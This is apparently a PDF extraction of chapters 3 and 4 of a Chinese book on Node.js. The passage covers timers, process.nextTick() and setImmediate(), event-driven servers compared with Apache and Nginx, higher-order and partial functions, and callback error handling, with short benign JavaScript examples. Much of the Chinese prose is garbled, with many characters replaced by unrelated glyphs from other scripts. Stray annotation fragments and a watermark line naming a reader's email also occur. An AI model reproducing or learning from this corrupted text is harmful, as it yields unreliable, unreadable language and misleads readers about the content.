从前᭦实ဗऩ൥I/O的过程ଠᤗ中，我们可以ଡԨѢऩ൥I/O的几个关᪃ជὙӬ线程、事͇९

环、᜹ࠢ者֖I/O线程෈。这᧖Ӭ线程与I/O线程෈之ᫍᄹ起౎有些ঢ়᝶的样ߔ。由于我们ᅻ᥊

JavaScript是Ӭ线程的，੝以૊࣡识很ࠓ௛ူ解为它不能Ќ分ѽ用多ನCPU。事实上，在Node中，

ᬓ了JavaScript是Ӭ线程外，Node自ᢵФ实是多线程的，只是I/O线程使用的CPUᣖ࠵。Բ一个ᭉ

要᧗᜼的᜹ཁѶ是，ᬓ了用ਖ਼̼ᆉ௃ก并ᛠ੯ᛠ外，੝有的I/O（ᇒᄧI/O֖网ፎI/Oኍ）Ѷ是可以

并ᛠ起౎的。 

3.4� 䴲 I/O ⱘᓖℹ API 

在一些与ߚ管我们在̭ፀNode的时候，多数情х下都会ଡ到ऩ൥I/O，ͭ是Node中Ф实还ࡉ

I/O௃关的ऩ൥API，这一部分也Ϙ३႔ॱ关ซ一下，它们分Ѿ是setTimeout()、setInterval()、

setImmediate()֖process.nextTick()。 

3.4.1� ᅮᯊ఼ 

setTimeout()֖setInterval()与เ᜾٧中的API是一ᒰ的，分Ѿ用于Ӭ次֖多次定时੯ᛠ͉

务。它们的实ဗԓူ与ऩ൥I/Oඊᣖዜͪ，只是不ᭉ要I/O线程෈的ԟ与。ុ用setTimeout()੊者

setInterval()创त的定时٧会ᜁଢ入到定时٧᜹ࠢ者内部的一个ጙᳫ树中。ඇ次Tick੯ᛠ时，会

从ឞጙᳫ树中ᤕ̼ԨѢ定时٧对៵，೜ಉ是否ᡓ过定时时ᫍ，ݟ౦ᡓ过，就्੆一个事͇，它的

 。立Ԁ੯ᛠ࠱ѥ数ុٿ
图3-14ଡ到的˞要是setTimeout()的ᛠ为。setInterval()与之相Վ，区Ѿ在于后者是᧗复性

的೜测֖੯ᛠ。 
定时٧的问题在于，它并᭣ዴᆷ的（在ࠓॼᔴډ内）。ࡉ管事͇९环Ӡ分ঋ，ͭ是ݟ౦౼一

次९环ӳ用的时ᫍᣖ多，ᥦ˥下次९环时，它也᝴已经ᡓ时很ˣ了。᝝ݟ᤯过setTimeout()᝹定

一个͉务在10ඒሙ后੯ᛠ，ͭ是在9ඒሙ后，有一个͉务ӳ用了5ඒሙ的CPU时ᫍྞ，в次ᣂ到定

时٧੯ᛠ时，时ᫍ就已经过య4ඒሙ。 
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图3-14 setTimeout()的ᛠ为 

3.4.2� process.nextTick() 

在ల了解 process.nextTick()之前，很多人也᝴为了立Ԁऩ൥੯ᛠ一个͉务，会这样ុ用

setTimeout()౎᣹到੝ᭉ的஌౦Ὑ 

setTimeout(function () { 
  // TODO 
}, 0); 

由于事͇९环自ᢵ的ྱཁ，定时٧的ዴᆷऎ不ܴ。Ꮺ事实上，᧓用定时٧ᭉ要动用ጙᳫ树，

创 त 定 时 ٧ 对 ៵ ֖ ᤕ ̼ ኍ ୱ 作 ， Ꮺ setTimeout(fn, 0)的 ழ य ᣖ 为 ํ ᠟ 性 能 。 实 ᬄ 上 ，

process.nextTick()ழก的ୱ作相对ᣖ为ᣏ量，Хͳ̼ᆉݟ下Ὑ 

process.nextTick = function(callback) { 
  // on the way out, don't bother. 
  // it won't get fired anyway 
  if (process._exiting) return; 
 
  if (tickDepth >= process.maxTickDepth) 
    maxTickWarn(); 
 
  var tock = { callback: callback }; 
  if (process.domain) tock.domain = process.domain; 
  nextTickQueue.push(tock); 
  if (nextTickQueue.length) { 
    process._needTickCallback(); 
  } 
}; 

图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权
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ඇ次ុ用process.nextTick()ழก，只会ុٿ࠱ѥ数உ入᫲Ѵ中，在下一ᣂTick时ԨѢ੯ᛠ。

定时٧中᧓用ጙᳫ树的ୱ作时ᫍ复杂ऎ为O(lg(n))，nextTick()的时ᫍ复杂ऎ为O(1)。相ᣖ之下，

process.nextTick()ఝ高஌。 

3.4.3� setImmediate() 

setImmediate()ழก与process.nextTick()ழกӠ分ዜͪ，都是ុٿ࠱ѥ数ढᤌ੯ᛠ。在Node 
v0.9.1之前，setImmediate()还没有实ဗ，ᥦ时候实ဗዜͪ的ҩ能˞要是᤯过process.nextTick()

౎߸੆，ឞழก的̼ᆉݟ下੝ᇧὙ 

process.nextTick(function () { 
  console.log('ჽ׿执行'); 
}); 
console.log('正常执行'); 

上ᤗ̼ᆉ的ᣤѢፆ౦ݟ下Ὑ 

正常执行 
ჽ׿执行 

Ꮺ用setImmediate()实ဗ时，相关̼ᆉݟ下Ὑ 

setImmediate(function () { 
  console.log('ჽ׿执行'); 
}); 
console.log('正常执行'); 

Фፆ౦߸К一样Ὑ 

正常执行 
ჽ׿执行 

ͭ是ˏ者之ᫍФ实是有ጹॱࢿѾ的。࠱它们உ在一起时，Ԡ会是ঞ样的优Ўጞփ。ᇧΒ̼ᆉ

 下Ὑݟ

process.nextTick(function () { 
  console.log('nextTickჽ׿执行'); 
}); 
setImmediate(function () { 
  console.log('setImmediateჽ׿执行'); 
}); 
console.log('正常执行'); 

Ф੯ᛠፆ౦ݟ下Ὑ 

正常执行 
nextTickჽ׿执行 
setImmediateჽ׿执行 

从ፆ౦᧖可以ᄹ到，process.nextTick()中的ុٿѥ数੯ᛠ的优Ўጞ要高于setImmediate()。

这᧖的ԓ因在于事͇९环对᜹ࠢ者的೜ಉ是有Ў后ᮊ序的，process.nextTick()࡚于idle᜹ࠢ者，

setImmediate()࡚于check᜹ࠢ者。在ඇ一个ᣂ९环೜ಉ中，idle᜹ࠢ者Ў于I/O᜹ࠢ者，I/O᜹ࠢ者

Ў于check᜹ࠢ者。 
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在Хͳ实ဗ上，process.nextTick()的ុٿѥ数γߚ在一个数组中，setImmediate()的ፆ౦

Ѷ是γߚ在ᩖᛪ中。在ᛠ为上，process.nextTick()在ඇᣂ९环中会࠱数组中的ុٿѥ数К部੯

ᛠ߸，ᏪsetImmediate()在ඇᣂ९环中੯ᛠᩖᛪ中的一个ុٿѥ数。ݟ下的ᇧΒ̼ᆉ可以ͱ᝼Ὑ 

// 加入ଇ߲nextTick()的回调函数 
process.nextTick(function () { 
  console.log('nextTickჽ׿执行1'); 
}); 
process.nextTick(function () { 
  console.log('nextTickჽ׿执行2'); 
}); 
// 加入ଇ߲setImmediate()的回调函数 
setImmediate(function () { 
  console.log('setImmediateჽ׿执行1'); 
  // 进入ူْ循环 
  process.nextTick(function () { 
    console.log('ഽ势֭入'); 
  }); 
}); 
setImmediate(function () { 
  console.log('setImmediateჽ׿执行2'); 
}); 
console.log('正常执行'); 

Ф੯ᛠፆ౦ݟ下Ὑ 

正常执行 
nextTickჽ׿执行1 
nextTickჽ׿执行2 
setImmediateჽ׿执行1 
ഽ势֭入 
setImmediateჽ׿执行2 

从੯ᛠፆ౦上可以ᄹѢ，ॆኃ一个setImmediate()的ុٿѥ数੯ᛠ后，并没有立Ԁ੯ᛠኃ̃

个，Ꮺ是ᤈ入了下一ᣂ९环，в次૊process.nextTick()优Ў、setImmediate()次后的ᮊ序੯ᛠ。

之੝以这样᝹᝟，是为了γ᝼ඇᣂ९环能ܴᣖঋڠ੯ᛠፆో，᫸ൢCPUӳ用过多Ꮺ᫽܊后续I/O
ុ用的情х。 

3.5� џӊ偅ࡼϢ催ᗻ㛑᳡ࡵ఼ 

前᭦˞要̭ፀ了ऩ൥的实ဗԓူ，在这个过程中，我们也۲本ӆҾѢ了事͇驱动的实质，Ԁ

᤯过˞९环加事͇触发的ழय౎ᤁᛠ程序。 
实ဗऩ൥I/O。Ꮺ实质上，ऩ൥I/Oʹݟ౎᫧ᤗNodeߔ管本ብ只用了fs.open()ழก作为Βࡉ

不仅仅应用在஠͇ୱ作中。对于网ፎݒ接ߙ的ူܪ，Node也应用到了ऩ൥I/O，网ፎݒ接ߙ上Ν

ե到的请ය都会्੆事͇̓ፋI/O᜹ࠢ者。事͇९环会不Ϣူܪڠ这些网ፎI/O事͇。ݟ౦

JavaScript有͛入ុٿѥ数，这些事͇࠱会最ጻ͛ᤫ到ˉ务᤾ᣣࡎᤈᛠူܪ。ѽ用NodeౝतWeb
服务٧，ൣ是在这样一个۲ᆨ上实ဗ的，Фึ程图ݟ图3-15੝ᇧ。 

图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权

们也本了事驱动的实质, 过环加事触发的程序。

15518
线条

15518
线条

15518
线条

15518
线条

15518
线条

15518
矩形

15518
矩形

15518
线条

15518
线条



64� � ኃ 3 ብ� ऩ൥ I/O 

 

 

图3-15 ѽ用NodeౝतWeb服务٧的ึ程图 

下᭦为几ሗ经Ц的服务٧ഴۋ，这᧖对ඊ下它们的优Ꭴཁ。 
� ৠℹᓣǄ对于Վ൥य的服务，一次只能ူܪ一个请ය，并且Ф余请ය都ܪ于ኍय़࿃খ。 
� ↣䖯⿟/↣䇋∖Ǆ为ඇ个请යը动一个ᤈ程，这样可以ူܪ多个请ය，ͭ是它不Хࡘੰܫ

性，因为系统ᠪ源只有ᥦ˥多。 
� ↣㒓⿟/↣䇋∖Ǆ为ඇ个请යը动一个线程౎ࡉ。ူܪ管线程ඊᤈ程要ᣏ量，ͭ是由于ඇ

个线程都ӳ用一定内ߚ，ॆ大并发请ය到౎时，内࠱ߚ会很ঋ用Џ，࠭ᒰ服务٧ᎀਤ。

ඇ线程/ඇ请ය的ੰࡘ性ඊඇᤈ程/ඇ请ය的ழय要好，ͭ对于大ۋቢཁᏪ言Ιཨ不ܴ。 
ඇ线程/ඇ请ය的ழय目前还ᜁApache੝᧓用。Node᤯过事͇驱动的ழयူܪ请ය，௃ᮋ为

ඇ一个请ය创तᮨ外的对应线程，可以ᄴ૿创त线程֖ᩘං线程的开ᩘ，Վ时ୱ作系统在ុऎ͉

务时因为线程ᣖ࠵，上下஠Ѭ૰的̼͈很ͯ。这使३服务٧能ܴ有్不ጇူܪڠ请ය，Ԁ使在大

量ᤋ接的情х下，也不ԩ线程上下஠Ѭ૰开ᩘ的ॕֽ，这是Node高性能的一个ԓ因。 
事͇驱动ࣛ౎的高஌已经ຑຑ开始为ˉႌ੝᧗᜼。ᅻՏ服务٧Nginx，也୏प了多线程的ழ

य，᧓用了֖Node相Վ的事͇驱动。ݟ今，Nginx大有Ԩ̼Apache之势。NodeХ有与Nginx相Վ

的ྱ性，不Վ之ܪ在于Nginx᧓用ጥC写੆，性能ᣖ高，ͭ是它仅᤟Ջ于做Web服务٧，用于反Փ

̼ူ੊᠆ᣑڨᛥኍ服务，在ူܪХͳˉ务ழ᭦ᣖ为൑Ꭴ。NodeѶ是一ݒ高性能的ࣰԻ，可以ѽ用

它ౝत与Nginx相Վ的ҩ能，也可以ူܪՉሗХͳˉ务，Ꮺ且与ᐿ后的网ፎγ૆ऩ൥ႉ᤯。ˏ者

相ඊ，Node没有Nginx在Web服务٧ழ᭦ᥦ˥˃ˉ，ͭ场景ఝ大，自ᢵ性能也不ᩱ。在实ᬄᮉ目

中，我们可以ፆՋ它们Չ自优ཁ，以᣹到应用的最优性能。 
事实上，Node的ऩ൥I/O并᭣ᯪ创，ͭԁ是ኃ一个੆ҩ的ࣰԻ。在ᥦ之前，也有一些ᅻՏ的

۲于事͇驱动的实ဗ，Хͳݟ下੝ᇧ。 
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� Ruby的Event Machine。 
� Perl的AnyEvent。 
� Python的Twisted。 
在这些ࣰԻ上᧓用事͇驱动的ழय时，ᭉ要ᔈ一定ዴҦ了解这些ं。这些ं没能੆ҩ的ԓ因

Ѷ是Վ൥I/Oं的ߚ在。本ብଠᤗ的ऩ൥I/O实ဗ，Ф˞ை是使I/Oୱ作与CPUୱ作分ሎ。݉ʹ这些

语言ࣰԻ上的ಕэI/Oं都是᫽܊य的，一ெ事͇९环中ߚ在᫽܊I/O，࠭࠱ᒰФ余I/O௃ก立Ԁᤈ

ᛠ，性能会পҚ下ᬋ，Ф஌౦ዜͪ于Վ൥य服务，Ф他请ය࠱不能立Ԁူܪ。 
因为在这些੆熟的语言ࣰԻ上，ऩ൥不是˞ึ，ࡉ管有这些事͇驱动的实ဗं，ͭ开发者঳

会习਄性ڠ᧓用Վ൥I/Oं，这࠭ᒰᮔ想的高性能ᄯ接ᖿቆ。Ryan Dahl在᝿ͤ他最௉的ᤤۋ时，

Lua一ऎ是最᠚ᤂ他ᤤۋ的语言，ͭ是由于ಕэI/Oं是Վ൥I/O，他ᅻ᥊Ԁ使߸੆这样一个事͇

驱动的实ဗ，也࠱不会३到ᣖ大ᔴډ的使用。在Node广คึᛠ之后，社区的Tim Caswell࠱Node
的这ݒধ想᧗新ሧೱ到了LuaࣰԻ，ឞᮉ目Զluavit。 

JavaScript中的作用۪֖ѥ数在เ᜾٧端已有੆熟的应用，也很好ࣞڠү了Ryan Dahl实ဗ它

的想ก。JavaScript在服务٧端ᤂ˪ቆᄆ，使३Node没有͉ʹԊԽ包ᜃ，ᏪNode在性能上的ᛪဗ

使३它一下ߔ就在社区中ึᛠ起౎了。 

3.6� ᘏ㒧 

本ብ̭ፀ了ऩ൥I/O֖Բ一些᭣I/O的ऩ൥ழก。可以ᄹѢ，事͇९环是ऩ൥实ဗ的ನ心，它

与เ᜾٧中的੯ᛠഴ۲ۋ本γ૆了一ᒰ。Ꮺ像԰Ꮴ的Rhino，ࡉ管是ᣖ௉就能在服务٧端ᤁᛠ的

JavaScriptᤁᛠ时，ͭ是੯ᛠഴۋ并不像เ᜾٧᧓用事͇驱动，Ꮺ是像Ф他语言一ᓉ᧓用Վ൥I/O
作为˞要ഴۋ，这ᤴ੆它在性能上௃੝发૘。Nodeൣ是Ι᭤ౝत了一ݒ߸ؒ的高性能ऩ൥I/Oಳ

౵，੩ᆠ了JavaScript在服务٧端ൢ൥不前的ࡌ᭦。 

3.7� খ㗗䌘⑤ 

本ብԟᏥ的ᠪ源ݟ下Ὑ 

� http://cnodejs.org/blog/?p=244 
� http://cnodejs.org/blog/?p=2426 
� http://cnodejs.org/blog/?p=2489 
� http://nodejs.org/nodeconf.pdf 
� http://blog.dccmx.com/2011/04/select-poll-epoll-in-kernel/ 
� http://www.ibm.com/developerworks/cn/linux/l-async/ 
� http://twistedmatrix.com/trac/ 
� http://luvit.io/ 
� http://forum.nginx.org/read.php?2,113524,113587#msg-113587 
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有ऩ൥I/O，ॸ有ऩ൥编程。 

上一ብଠᤗ了Nodeݟʹ᤯过事͇९环实ဗऩ൥，包括与ՉሗI/O多ᡸ复用ୃᦠ实ဗ的ऩ൥I/O

以Ԣ与I/O௃关的ऩ൥。Node是ᯪ个࠱ऩ൥大᜺ഴࣛ到应用ࡎ᭦的ࣰԻ，它从内在ᤁᛠ机҃到API

的᝹᝟，௃不ᤨ᭚Ѣऩ൥的චো౎。ऩ൥的高性能为它ࣛ౎了高ऎ的ᡁ᝗，Ꮺऩ൥编程也为Фࣛ

౎部分的ចං。 

前ᤗብᓫ中̕ଠᤗ过ऩ൥I/O在应用ࡎ᭦不ึᛠ的ԓ因，ᥦΦ是ऩ൥编程在ึ程ଌ҃中，ˉ

务ᛪ᣹并不ܹ᤟Ջ自ཨ语言的线性ধ፤习਄。ᣖ࠵人能᤟应ᄯ接᭦对事͇驱动ᤈᛠ编程，׬࿗对

它熟悉的˞要是GUI开发者，ݟ前端工程࣍੊GUI工程࣍。前端工程࣍习以为࣡并能ܴޢ熟ܪڠ

ူՉሗDOM事͇֖เ᜾٧中的事͇。Ryan Dahlϟ好事͇驱动，ᏪJava Script在เ᜾٧中也ൣݎՋ

事͇驱动的੯ᛠ过程，这也使३前后端的JavaScript在੯ᛠԓူ֖᮲ಪ上都ᡕ于一ᒰ。ᙉཨ语言੯

ᛠ在不Վ的环境，ͭᬓ了ࠖ˞ଡΘ的API有੝不Վ外，并不ᝧ人᜿३是一门新语言。 

V8֖ऩ൥I/O在性能上ࣛ౎的ଡӣ，前后端JavaScript编程᮲ಪ一ᒰ，是Node能ܴ᣽ᤳ੆ҩ并

ึᛠ起౎的˞要ԓ因。 

4.1�  ᭄ᓣ㓪⿟ߑ
在开始ऩ൥编程之前，Ў३ᅻ௳JavaScriptဗ今的ុٿѥ数֖深ݒࢥࡎ的౎ᴜԜᑡ。在

JavaScript中，ѥ数（function）作为一ኍМඞ，使用上᭣࣡自由，௃᝶ុ用它，੊者作为ԟ数，

੊者作为ᤄٿϘڨ可。ѥ数的灵活性是JavaScriptඊᣖխल人的ڠழ之一，它与԰Ꮴ的Lisp语言ᮗ

Хຍ源。JavaScript在ភ生之前，Brendan Eichύ᧜了Scheme语言（Scheme作为Lisp的ี生），խ

收了ѥ数य编程的ዴӧ，࠱ѥ数作为一ኍМඞΦ是Цۋ಴Β。 

᧜于ѥ数य编程在ᤂ年౎᧗新༡བ，Ꮺ前端ዜ图书中ᣖ࠵ᤗԢ这部分ᅻ识，这᧖ሮ作补Ќ，

因为它是JavaScriptऩ൥编程的۲ᆨ。 

4.1.1� 催䰊ߑ᭄ 
在᤯࣡的语言中，ѥ数的ԟ数只接ԩ۲本的数૵ዜۋ੊是对៵ल用，ᤄٿϘ也只是۲本数૵

ዜ֖ۋ对៵ल用。下᭦的̼ᆉ为࣡᜺的ԟ数͛ᤫ֖ᤄٿὙ 

第 � 章
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function foo(x) { 

  return x; 

} 

高᫼ѥ数Ѷ是可以ઁѥ数作为ԟ数，੊是࠱ѥ数作为ᤄٿϘ的ѥ数，ݟ下᭦的̼ᆉ੝ᇧὙ  

function foo(x) { 

  return function () { 

    return x; 

  }; 

} 

高᫼ѥ数可以࠱ѥ数作为ᣤ入੊ᤄٿϘ的ԪӐᄹ起౎ᙉጹ小，ͭ是对于C/C++语言Ꮺ言，᤯

过ૈ᧪也可以᣹到相Վ的஌౦。ͭ对于程序编写，高᫼ѥ数Ѷඊ௾᤯的ѥ数要灵活᝴多。ᬓ了᤯

࣡਒˦的ѥ数ុ用ᤄٿ外，还्੆了一ሗ后续͛ᤫ᮲ಪ（Continuation Passing Style）的ፆ౦接收

ழय，Ꮺ᭣Ӭ一的ᤄٿϘ्य。后续͛ᤫ᮲ಪ的程序编写࠱ѥ数的ˉ务᧗ཁ从ᤄٿϘᣀሧ到了ٿ

ុѥ数中Ὑ 

function foo(x, bar) { 

  return bar(x); 

} 

以上᭦的̼ᆉ为Β，对于相Վ的foo()ѥ数，͛入的barԟ数不Վ，Ѷ可以३到不Վ的ፆ౦。

一个经Ц的ΒߔΦ是数组的sort()ழก，它是一个᠍ᄽ͈实的高᫼ѥ数，可以接ԩ一个ழก作为

ԟ数ԟ与ᤁኪଅ序Ὑ 

var points = [40, 100, 1, 5, 25, 10]; 

points.sort(function(a, b) { 

  return a - b; 

}); 

// [ 1, 5, 10, 25, 40, 100 ] 

᤯过இ动sort()ழก的ԟ数，可以决定不Վ的ଅ序ழय，从这᧖可以ᄹѢ高᫼ѥ数的灵活性

౎。ፆՋNodeଡΘ的最۲本的事͇ഴڰ可以ᄹ到，事͇的ူܪழयൣ是۲于高᫼ѥ数的ྱ性౎߸

੆的。在自定˦事͇实Β中，᤯过为相Վ事͇ซб不Վ的ុٿѥ数，可以很灵活ူܪڠˉ务᤾ᣣ。

ᇧΒ̼ᆉݟ下Ὑ 

var emitter = new events.EventEmitter(); 

emitter.on('event_foo', function () { 

  // TODO 

}); 

本书时࣡ଡ到事͇可以Ӡ分ழΦڠᤈᛠ复杂ˉ务᤾ᣣ的解ᏸ，它Ф实ԩᄝ于高᫼ѥ数。 

高᫼ѥ数在JavaScript中ඊඊᄊ是，Ф中ECMAScript5中ଡΘ的一些数组ழก（forEach()、

map()、reduce()、reduceRight()、filter()、every()、some()）Ӡ分Цۋ。 

4.1.2�  ⫣⫼᭄ߑأ

ϟѥ数用ก是ૈ创त一个ុ用Բ外一个部分úúԟ数੊Ԫ量已经ᮔᎵ的ѥ数úú的ѥ数的

用ก。这Աព相对ᣖ为ફԯ，下᭦我们以实Β౎ឬ௙Ὑ 
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var toString = Object.prototype.toString; 

  

var isString = function (obj) { 

  return toString.call(obj) == '[object String]'; 

}; 

var isFunction = function (obj) { 

  return toString.call(obj) == '[object Function]'; 

}; 

在JavaScript中ᤈᛠዜۋѻற时，我们᤯࣡会ᤈᛠዜͪ上ᤗ̼ᆉ的ழก定˦。这ൿ̼ᆉڌཨ不

复杂，只有ˏ个ѥ数的定˦，ͭ是᧖᭦ߚ在的问题是我们ᭉ要᧗复Ԝ定˦一些相ͪ的ѥ数，ݟ౦

有ఝ多的isXXX()，就会Ѣဗఝ多的ж余̼ᆉ。为了解决᧗复定˦的问题，我们ल入一个新ѥ数，

这个新ѥ数可以ݟ工ԇ一样੺量创त一些ዜͪ的ѥ数。在下᭦的̼ᆉ中，我们᤯过isType()ѥ数

ᮔЎૈ定type的Ϙ，ཨ后ᤄٿ一个新的ѥ数Ὑ  

var isType = function (type) { 

  return function (obj) { 

    return toString.call(obj) == '[object ' + type + ']'; 

  }; 

}; 

 

var isString = isType('String'); 

var isFunction = isType('Function'); 

可以ᄹѢ，ल入isType()ѥ数后，创तisString()、isFunction()ѥ数就Ԫ३ኤӬ多了。这

ሗ᤯过ૈ定部分ԟ数౎产生一个新的定҃ѥ数的्य就是ϟѥ数。 

ϟѥ数应用在ऩ൥编程中也Ӡ分࣡᜸，ᗂՏዜंUnderscoreଡΘ的after()ழกԀ是ϟѥ数应

用，Ф定˦ݟ下Ὑ 

_.after = function(times, func) { 

  if (times <= 0) return func(); 

  return function() { 

    if (--times < 1) { return func.apply(this, arguments); } 

  }; 

}; 

这个ѥ数可以಩૵͛入的timesԟ数֖Хͳழก，生੆一个ᭉ要ុ用多次才ᄽൣ੯ᛠ实ᬄѥ

数的ѥ数。 

4.2� ᓖℹ㓪⿟ⱘӬ࢓Ϣ䲒⚍ 

డ经的Ӭ线程ഴۋ在Վ൥I/O的ॕֽ下，由于I/Oុ用ᎀਤ，在应用ࡎ᭦࠭ᒰCPU与I/O௃ก᧗

Ԯᤈᛠ。为了ཱᮎ编程人տ的阅读ধ፤习਄，Վ൥I/Oᄨᛠ了很多年。ͭ在௅新月ऩ的技术大໼

᭦前，性能问题ୋ在了编程人տ的᭦前。ଡӣ性能的ழय过Ԝ多用多线程的ழय解决，ͭ是多线

程的ल入在ˉ务᤾ᣣழ᭦҃ᤴ的᳣ཐ也不࠵。从ୱ作系统ុऎ多线程的上下஠Ѭ૰开ᩘ，到实ᬄ

编程᧖的ᩙ、Վ൥ኍ问题，ᝧ开发人տܿႺ的时候也并不࠵。Բ一个解决I/O性能的ழ಴是᤯过

C/C++ុ用ୱ作系统ऄࡎ接ԯ，自己੣工߸੆ऩ൥I/O，这能ܴ᣹到很高的性能，ͭ是ុ试֖开发

图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权

15518
线条



4.2� ऩ൥ᎃር的͕Ҹˀᬱཁ� � 69 

 

1 

2 

3 

4 

5 

11 

6 

7 

8 

9 

10 

门ഩڨӠ分高，在ࣞүˉ务解决问题上，ᭉ要ᔈ᠟ᣖ大的ዴҦ。Nodeѽ用JavaScriptԢФ内部ऩ

൥ं，࠱ऩ൥ᄯ接ଡӣ到ˉ务ࡎ᭦，这是一ሗ创新。 

4.2.1� Ӭ࢓ 
Nodeࣛ౎的最大ྱ性ᖅ过于۲于事͇驱动的᭣᫽܊I/Oഴۋ，这是它的灵᱇੝在。᭣᫽܊I/O

可以使CPU与I/O并不相̈Ιᠺኍय़，ᝧᠪ源३到ఝ好的ѽ用。对于网ፎ应用Ꮺ言，并ᛠࣛ౎的

想៵ቆᫍఝ大，ढࡘᏪ开的是分࣊य֖̇。并ᛠ使३Չ个Ӭཁ之ᫍ能ܴఝ有஌ڠ组织起౎，这也

是Node在̇᝟ኪԇ׷中广ԩ᭞ᅏ的ԓ因，图4-1为ऩ൥I/Oុ用的ᇧ਒图。 

 

图4-1 ऩ൥I/Oុ用的ᇧ਒图 

 。图4-2੝ᇧݟ，会是௙௬的࠱य᝟ኪ中性能的ઈ੭࣊分，ۋ౦᧓用͛统的Վ൥I/Oഴݟ

 

图4-2 Վ൥I/Oុ用ᇧ਒图 
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在ኃ3ብ中，我们ᝦ᝶过Node实ဗऩ൥I/O的ԓူ。ѽ用事͇९环的ழय，JavaScript线程像一

个分ᦠ͉务֖ူܪፆ౦的大管ࠑ，I/O线程෈᧖的Չ个I/O线程都是小̃，᠆᠉ИИˉˉڠ߸੆分

ᦠ౎的͉务，小̃与管ࠑ之ᫍ̈不Ιᠺ，੝以可以γ૆ஞͳ的高஌ည。这个ѽ用事͇९环的经Ц

ុऎழय在很多ڠழ都ߚ在应用，最Цۋ的是UI编程，ݟiOS应用开发ኍ。 

这个ഴۋ的ᎤཁѶ在于管ࠑ௃ก੽ઝ过多的ጹᓫ性͉务，ݟ౦੽ઝܹ多，Ѷ会ॕֽ到͉务的

ុऎ，管ࠑ঄个不Ϣ，小̃ԁ३不到活࣯，ፆࡌѶ是ஞͳ஌ည的ᬋͯ。 

૰言之，Node是为了解决编程ഴۋ中᫽܊I/O的性能问题的，᧓用了Ӭ线程ഴۋ，这࠭ᒰNode

ఝ像一个ူܪI/Oᬶࠚ问题的能੣，ᏪCPUۋᬶࠚѶԨ决于管ࠑ的能Ꮼݟʹ。 

在ኃ1ብ中，从ணจᥦݎ数Ѵ᝟ኪ的测试ፆ౦中可以ᄹ到，这个管ࠑХͳ的能Ҧݟ。ʹݟ౦

൦ҩማܫ३ᄝ于V8性能的NodeѶ是一ึ൦ౣ高੣，在Х，࠳Ԝ᝿ѻ的ព，C语言是性能至ڠ៵्

ቲ的情х下（ុ用C/C++ੰࡘഴڰ），Node的能Ҧ可以᤿ᤂᮆ࠸之Ѵ。 

由于事͇९环ഴۋᭉ要应对海量请ය，海量请යՎ时作用在Ӭ线程上，就ᭉ要᫸ൢ͉ʹ一个

᝟ኪᏱ᠟过多的CPU时ᫍྞ。至于是᝟ኪۋᬶࠚ，还是I/Oۋᬶࠚ，只要᝟ኪ不ॕֽऩ൥I/O的ុ

ऎ，ᥦ就不ౝ੆问题。तᝫ对CPU的Ᏹ用不要ᡓ过10 ms，੊者࠱大量的᝟ኪ分解为ឰ多的小量

᝟ኪ，᤯过setImmediate()ᤈᛠុऎ。只要Ջူѽ用Node的ऩ൥ഴۋ与V8的高性能，就可以Ќ分

发૘CPU֖I/Oᠪ源的优势。  

4.2.2� 䲒⚍ 

Node̽ऩ൥编程ݟ൤᮲ᛠ，这也是ऩ൥编程ᯪ次大᜺ഴѢဗ在ˉ务ࡎ᭦。它ύүऩ൥I/Oഴ

ԢV8高性能ल୲，቉ᆠӬ线程的性能ၪᮘ，ᝧJavaScript在后端᣹到实用͈Ϙ。Բ一ழ᭦，它ۋ

也统一了前后端JavaScript的编程ഴۋ。对于ऩ൥编程ࣛ౎的新ᱤਕ与不᤟ਕ，开发者们有着不Վ

程ऎ的ਕԩ。接下౎，我们೚ူ一下ऩ൥编程的ᬱཁ，以ఝ好ڠѽ用Node。 

1. 䲒⚍1˖ᓖᐌ໘⧚ 
过Ԝ我们ူܪऩ࣡时，᤯࣡使用ዜJava的try/catch/final语Աڰᤈᛠऩ࣡૬ᖌ，ᇧΒ̼ᆉ 

 下Ὑݟ

try { 

  JSON.parse(json); 

} catch (e) { 

  // TODO 

} 

ͭ是这对于ऩ൥编程Ꮺ言并不一定᤟用。ኃ3ብଡ到过，ऩ൥I/O的实ဗ˞要包դˏ个᫼ൿὙ

ଡ̓请ය֖ူܪፆ౦。这ˏ个᫼ൿ中ᫍ有事͇९环的ុऎ，ˏ者ग़൤不关ᐎ。ऩ൥ழกѶ᤯࣡在

ኃ一个᫼ൿଡ̓请ය后立Ԁᤄٿ，因为ऩ࣡并不一定发生在这个᫼ൿ，try/catch的ҩ஌在൤ܪ

不会发૘͉ʹ作用。ऩ൥ழก的定˦ݟ下੝ᇧὙ 

var async = function (callback) { 

  process.nextTick(callback); 

}; 
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ុ用async()ழก后，callbackᜁߚஉ起౎，ᄯ到下一个事͇९环（Tick）才会ԨѢ౎੯ᛠ。

试对ऩ൥ழกᤈᛠtry/catchୱ作只能૬ᖌॆ次事͇९环内的ऩ࣡，对callback੯ᛠ时ઊѢ的ऩ࠼

 下Ὑݟ௃能为Ҧ，ᇧΒ̼ᆉ࠱࣡

try { 

  async(callback); 

} catch (e) { 

  // TODO 

} 

Node在ူܪऩ࣡上्੆了一ሗጝ定，࠱ऩ࣡作为ុٿѥ数的ኃ一个实ԟ͛ݟ，ٿ౦为ቆϘ，

Ѷᛪ௙ऩ൥ុ用没有ऩ࣡ઊѢὙ 

async(function (err, results) { 

  // TODO 

}); 

在我们自ᛠ编写的ऩ൥ழก上，也ᭉ要Ԝᥕ९这样一些ԓѶὙ 

ԓѶ一Ὑॸᮋ੯ᛠុ用者͛入的ុٿѥ数὚ 

ԓѶ̃Ὑൣᆷ͛ᤫٿऩ࣡Θុ用者ѻற。 

ᇧΒ̼ᆉݟ下Ὑ 

var async = function (callback) { 

  process.nextTick(function() { 

    var results = something; 

    if (error) { 

      return callback(error); 

    } 

    callback(null, results); 

  }); 

}; 

在ऩ൥ழก的编写中，Բ一个ࠓ௛࿀的ᩱឧ是对用ਖ਼͛ᤫ的ុٿѥ数ᤈᛠऩ࣡૬ᖌ，ᇧΒ̼

ᆉݟ下Ὑ 

try { 

  req.body = JSON.parse(buf, options.reviver); 

  callback(); 

} catch (err){ 

  err.body = buf; 

  err.status = 400; 

  callback(err); 

} 

上ᤗ̼ᆉ的਒图是૬ᖌJSON.parse()中可能Ѣဗ的ऩ࣡，ͭ是ԁ不小心包դ了用ਖ਼͛ᤫ的ٿ

